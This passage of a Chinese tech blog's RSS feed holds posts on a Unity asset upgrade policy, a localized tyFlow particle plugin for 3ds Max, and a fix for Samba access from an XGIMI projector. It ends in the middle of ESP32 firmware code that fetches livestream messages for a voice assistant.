auto-hide-last-sibling-br&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); outline: none; border: 0px solid; margin: 12px 0px 0px; padding: 0px; font-size: 16px; line-height: 24px; overflow-anchor: auto; font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;五、升级政策（Upgrade Policy）&lt;/h3&gt;&lt;ul class=&quot;auto-hide-last-sibling-br list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;小更新与问题修复&lt;span style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: ; outline: none; border: 0px solid; margin: 0px; padding: 0px; font-weight: 700; line-height: 28px; overflow-anchor: auto;&quot;&gt;永久免费&lt;/span&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;大版本更新可能收取升级费用，具体取决于更新范围和开发成本。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;未升级的用户可继续使用已购买版本，该版本将支持其兼容的 Unity 版本。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div id=&quot;ycnr&quot;&gt;[MyText]这里插入要隐藏的内容[/MyText]&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</description><pubDate>Sat, 01 Nov 2025 18:00:22 +0800</pubDate></item><item><title>【中文】 TyFlow粒子系统 v.1.029 中文版3dmax2018-2024</title><link>https://pylblog.com/post/267.html</link><description>&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;tyFlow是3ds Max的粒子系统插件，主要用于创建程序化动画和复杂粒子效果。以下是其核心功能及使用要点：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;img src=&quot;https://pylblog.com/zb_users/upload/2025/11/202511011761989266346992.jpg&quot; title=&quot;【中文】 TyFlow粒子系统 v.1.029 中文版3dmax2018-2024 第1张&quot; alt=&quot;【中文】 TyFlow粒子系统 v.1.029 中文版3dmax2018-2024 第1张&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;核心功能:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;‌粒子模拟‌：支持破碎、刚体、软体、布料、雪/沙等物理模拟效果。 ‌&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;1.&lt;/span&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;参数调节‌：可设置生命周期、颜色、速度、大小等属性，并通过MAXScript进行编程控制。 ‌&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;2.&lt;/span&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;共享运动流‌：支持多个对象共享同一运动流，实现统一动画控制。 ‌&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;3.&lt;/span&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;使用流程&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;‌安装插件‌：确保3ds Max已安装tyFlow插件。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;‌创建粒子系统‌：选中目标对象，右键选择“附加”→“tyFlow”→“tyFlow粒子系统”。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;‌参数设置‌：在属性编辑器中调整生命周期、发射速率、物理参数等。 ‌&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;‌绑定与导出‌：将粒子系统绑定至摄像机或场景元素，导出场景文件用于渲染。&amp;nbsp;‌&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div id=&quot;ycnr&quot;&gt;[MyText]隐藏的内容显示的位置[/MyText]&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</description><pubDate>Sat, 01 Nov 2025 17:10:09 +0800</pubDate></item><item><title>极米投影仪无法连接samba服务</title><link>https://pylblog.com/post/266.html</link><description>&lt;h3&gt;问题根源分析&lt;/h3&gt;&lt;p&gt;极米投影仪内置的 SMB 客户端版本通常较低，为了兼容性和安全性，它可能：&lt;/p&gt;&lt;ol start=&quot;1&quot; style=&quot;margin-top: 16px; margin-bottom: 16px; padding-left: 18px; color: rgb(15, 17, 21); font-family: quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;仅支持古老的、不安全的&amp;nbsp;SMBv1&amp;nbsp;协议。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;或者不支持现代 Samba 服务器默认使用的&amp;nbsp;SMBv2/3&amp;nbsp;协议。而新版 Ubuntu 的 Samba 出于安全考虑，默认已禁用 SMBv1。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;配置中含有map to guest = bad user&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;“map to guest = bad user” 是 Samba 的用户认证失败时的兜底规则，作用是把 “认证出错的用户” 自动映射成 “匿名访客”，你删除后反而解决问题，本质是避免了极米登录时的 “隐性认证错误” 被强制转为匿名访问。&lt;/p&gt;&lt;h3&gt;一、先明确 “map to guest = bad user” 的具体作用&lt;/h3&gt;&lt;div&gt;它的核心逻辑是 “处理认证失败场景”，简单说就是：&lt;/div&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;当有设备尝试登录 Samba 时，如果出现用户名不存在、密码错误、或权限不匹配等认证问题，Samba 不会直接拒绝，而是自动把这个 “认证失败的用户” 转换成 “匿名访客（guest）”。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;匿名访客的权限由共享配置中的 “public = yes/no”“guest ok = yes/no” 决定 —— 如果共享没开匿名权限，即使映射成访客，最终还是会显示 “无法访问”。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;二、为什么删除它，极米就能访问了？&lt;/h3&gt;&lt;div&gt;这和极米的 “认证机制兼容性” 有关，本质是极米登录时触发了这个规则，导致访问身份被 “错换”：&lt;/div&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;极米用&lt;code&gt;root&lt;/code&gt;登录时，可能因为协议细节差异（比如极米发送的认证信息格式和其他设备略有不同），被 Samba 误判为 “认证失败”。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;按原配置 “map to guest = bad user”，Samba 会把本应正常登录的&lt;code&gt;root&lt;/code&gt;，强制转换成 “匿名访客”；而你的共享配置（有&lt;code&gt;valid users = root&lt;/code&gt;）又不允许匿名访客访问，所以极米就看不到文件夹。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;删除这个配置后，Samba 会 “严格按原身份处理”—— 极米发送的&lt;code&gt;root&lt;/code&gt;认证信息能正常通过，不会被错换成访客，自然就能访问了。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;三、删除后有什么影响？是否需要补其他配置？&lt;/h3&gt;&lt;div&gt;删除后不会影响正常使用，反而让认证逻辑更 “直白”，唯一的变化是：&lt;/div&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;今后如果有设备用错误的用户名 / 密码登录，Samba 会直接返回 “拒绝访问”，而不是偷偷转换成匿名访客（对安全性其实更友好，能避免匿名访问的潜在风险）。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;因为你保留了&lt;code&gt;valid users = root&lt;/code&gt;，其他设备用正确的&lt;code&gt;root&lt;/code&gt;账号登录，依然能正常访问，和之前没区别。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;所以完全不用补其他配置，当前状态（删除 “map to guest = bad user”+ 保留 “valid users = root”）既能满足极米访问，又能保证共享安全，是适合你场景的最优配置。&lt;/div&gt;&lt;p&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/p&gt;</description><pubDate>Thu, 23 Oct 2025 00:20:18 +0800</pubDate></item><item><title>让小智AI接入直播间作为语音助手</title><link>https://pylblog.com/post/265.html</link><description>&lt;ol class=&quot;[&amp;amp;:not(:last-child)_ul]:pb-1 [&amp;amp;:not(:last-child)_ol]:pb-1 list-decimal space-y-1.5 pl-7 list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;在Listening状态获取消息&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul class=&quot;[&amp;amp;:not(:last-child)_ul]:pb-1 [&amp;amp;:not(:last-child)_ol]:pb-1 list-disc space-y-1.5 pl-7 list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;检查当前会话是否已获取过&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;未获取则获取新消息并调用 &lt;code class=&quot;bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]&quot;&gt;WakeWordInvoke()&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;标记已获取&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;处理完成判断&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul class=&quot;[&amp;amp;:not(:last-child)_ul]:pb-1 [&amp;amp;:not(:last-child)_ol]:pb-1 list-disc space-y-1.5 pl-7 list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;当设备&lt;strong&gt;回到Listening状态&lt;/strong&gt;时，说明上一条消息已处理完成&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;立即通知服务器完成&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;重置标志，准备获取下一条&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;状态变化时重置&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul class=&quot;[&amp;amp;:not(:last-child)_ul]:pb-1 [&amp;amp;:not(:last-child)_ol]:pb-1 list-disc space-y-1.5 pl-7 list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;离开Listening状态时自动重置标志&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;h2 class=&quot;text-xl font-bold text-text-100 mt-1 -mb-0.5&quot;&gt;⚡ 优势&lt;/h2&gt;&lt;ul class=&quot;[&amp;amp;:not(:last-child)_ul]:pb-1 [&amp;amp;:not(:last-child)_ol]:pb-1 list-disc space-y-1.5 pl-7 list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;不等待Idle&lt;/strong&gt;：处理完立即回到Listening就能获取下一条&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应更快&lt;/strong&gt;：消息处理周期大大缩短&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;逻辑简单&lt;/strong&gt;：&lt;/p&gt;&lt;/li&gt;&lt;ul class=&quot;[&amp;amp;:not(:last-child)_ul]:pb-1 [&amp;amp;:not(:last-child)_ol]:pb-1 list-disc space-y-1.5 pl-7 list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;Listening状态 → 获取消息&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Speaking/Connecting → 处理中&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;回到Listening → 完成，获取下一条&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;p class=&quot;whitespace-normal break-words&quot;&gt;这样消息队列处理会快很多！&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-c&quot;&gt;#include&amp;nbsp;&amp;quot;wifi_board.h&amp;quot;
#include&amp;nbsp;&amp;quot;codecs/no_audio_codec.h&amp;quot;
#include&amp;nbsp;&amp;quot;display/lcd_display.h&amp;quot;
#include&amp;nbsp;&amp;quot;font_awesome_symbols.h&amp;quot;
#include&amp;nbsp;&amp;quot;application.h&amp;quot;
#include&amp;nbsp;&amp;quot;button.h&amp;quot;
#include&amp;nbsp;&amp;quot;config.h&amp;quot;
#include&amp;nbsp;&amp;quot;mcp_server.h&amp;quot;
#include&amp;nbsp;&amp;quot;settings.h&amp;quot;

#include&amp;nbsp;&amp;lt;wifi_station.h&amp;gt;
#include&amp;nbsp;&amp;lt;esp_log.h&amp;gt;
#include&amp;nbsp;&amp;lt;esp_lcd_panel_vendor.h&amp;gt;
#include&amp;nbsp;&amp;lt;driver/i2c_master.h&amp;gt;
#include&amp;nbsp;&amp;lt;driver/spi_common.h&amp;gt;
#include&amp;nbsp;&amp;lt;driver/uart.h&amp;gt;
#include&amp;nbsp;&amp;lt;cstring&amp;gt;
#include&amp;nbsp;&amp;quot;emote_display.h&amp;quot;
#include&amp;nbsp;&amp;quot;driver/temperature_sensor.h&amp;quot;
#include&amp;nbsp;&amp;lt;freertos/FreeRTOS.h&amp;gt;
#include&amp;nbsp;&amp;lt;freertos/semphr.h&amp;gt;
#include&amp;nbsp;&amp;lt;freertos/task.h&amp;gt;
#include&amp;nbsp;&amp;lt;queue&amp;gt;
#include&amp;nbsp;&amp;lt;string&amp;gt;
#include&amp;nbsp;&amp;lt;unordered_map&amp;gt;

#include&amp;nbsp;&amp;lt;esp_lcd_panel_io.h&amp;gt;
#include&amp;nbsp;&amp;lt;esp_lcd_panel_ops.h&amp;gt;
#include&amp;nbsp;&amp;lt;driver/spi_common.h&amp;gt;
#include&amp;nbsp;&amp;lt;esp_lcd_ili9488.h&amp;gt;
#include&amp;nbsp;&amp;lt;esp_http_client.h&amp;gt;
#include&amp;nbsp;&amp;lt;esp_timer.h&amp;gt;

#define&amp;nbsp;TAG&amp;nbsp;&amp;quot;CompactWifiBoardLCD&amp;quot;
#define&amp;nbsp;HTTP_NEXT_URL&amp;nbsp;&amp;quot;http://192.168.1.90/YESHI/ai.php?action=next&amp;quot;
#define&amp;nbsp;HTTP_COMPLETE_URL&amp;nbsp;&amp;quot;http://192.168.1.90/YESHI/ai.php?action=complete&amp;amp;id=%d&amp;quot;
#define&amp;nbsp;HTTP_GET_TIMEOUT_MS&amp;nbsp;5000
#define&amp;nbsp;MESSAGE_FETCH_INTERVAL_MS&amp;nbsp;1000&amp;nbsp;&amp;nbsp;//&amp;nbsp;定时器间隔：1秒

LV_FONT_DECLARE(font_puhui_20_4);
LV_FONT_DECLARE(font_awesome_20_4);
static&amp;nbsp;const&amp;nbsp;size_t&amp;nbsp;LV_BUFFER_SIZE&amp;nbsp;=&amp;nbsp;320&amp;nbsp;*&amp;nbsp;25;
#define&amp;nbsp;USE_LVGL_DEFAULT&amp;nbsp;0

class&amp;nbsp;CompactWifiBoardLCD&amp;nbsp;:&amp;nbsp;public&amp;nbsp;WifiBoard&amp;nbsp;{
private:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button&amp;nbsp;boot_button_;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i2c_master_bus_handle_t&amp;nbsp;i2c_bus_;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Display*&amp;nbsp;display_;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_timer_handle_t&amp;nbsp;message_timer_&amp;nbsp;=&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;is_fetching_messages_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;current_message_id_&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;is_processing_message_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;false;&amp;nbsp;&amp;nbsp;//&amp;nbsp;当前空闲会话是否已获取消息

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;HTTP响应数据结构
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;struct&amp;nbsp;HttpResponseData&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char*&amp;nbsp;buffer;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size_t&amp;nbsp;size;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size_t&amp;nbsp;capacity;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;HTTP事件处理回调
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;esp_err_t&amp;nbsp;HttpEventHandler(esp_http_client_event_t&amp;nbsp;*evt)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpResponseData&amp;nbsp;*data&amp;nbsp;=&amp;nbsp;(HttpResponseData&amp;nbsp;*)evt-&amp;gt;user_data;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch(evt-&amp;gt;event_id)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;HTTP_EVENT_ON_DATA:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(data-&amp;gt;buffer&amp;nbsp;==&amp;nbsp;nullptr)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;capacity&amp;nbsp;=&amp;nbsp;1024;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;buffer&amp;nbsp;=&amp;nbsp;(char*)malloc(data-&amp;gt;capacity);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;size&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(data-&amp;gt;size&amp;nbsp;+&amp;nbsp;evt-&amp;gt;data_len&amp;nbsp;&amp;gt;=&amp;nbsp;data-&amp;gt;capacity)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;capacity&amp;nbsp;=&amp;nbsp;data-&amp;gt;size&amp;nbsp;+&amp;nbsp;evt-&amp;gt;data_len&amp;nbsp;+&amp;nbsp;1024;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;buffer&amp;nbsp;=&amp;nbsp;(char*)realloc(data-&amp;gt;buffer,&amp;nbsp;data-&amp;gt;capacity);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(data-&amp;gt;buffer)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(data-&amp;gt;buffer&amp;nbsp;+&amp;nbsp;data-&amp;gt;size,&amp;nbsp;evt-&amp;gt;data,&amp;nbsp;evt-&amp;gt;data_len);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;size&amp;nbsp;+=&amp;nbsp;evt-&amp;gt;data_len;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data-&amp;gt;buffer[data-&amp;gt;size]&amp;nbsp;=&amp;nbsp;&amp;#39;\0&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;ESP_OK;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;从服务器获取下一条消息
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;FetchNextMessage(char*&amp;nbsp;out_message,&amp;nbsp;size_t&amp;nbsp;max_len,&amp;nbsp;int*&amp;nbsp;out_message_id)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!out_message&amp;nbsp;||&amp;nbsp;max_len&amp;nbsp;==&amp;nbsp;0&amp;nbsp;||&amp;nbsp;!out_message_id)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpResponseData&amp;nbsp;response_data&amp;nbsp;=&amp;nbsp;{0};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;success&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
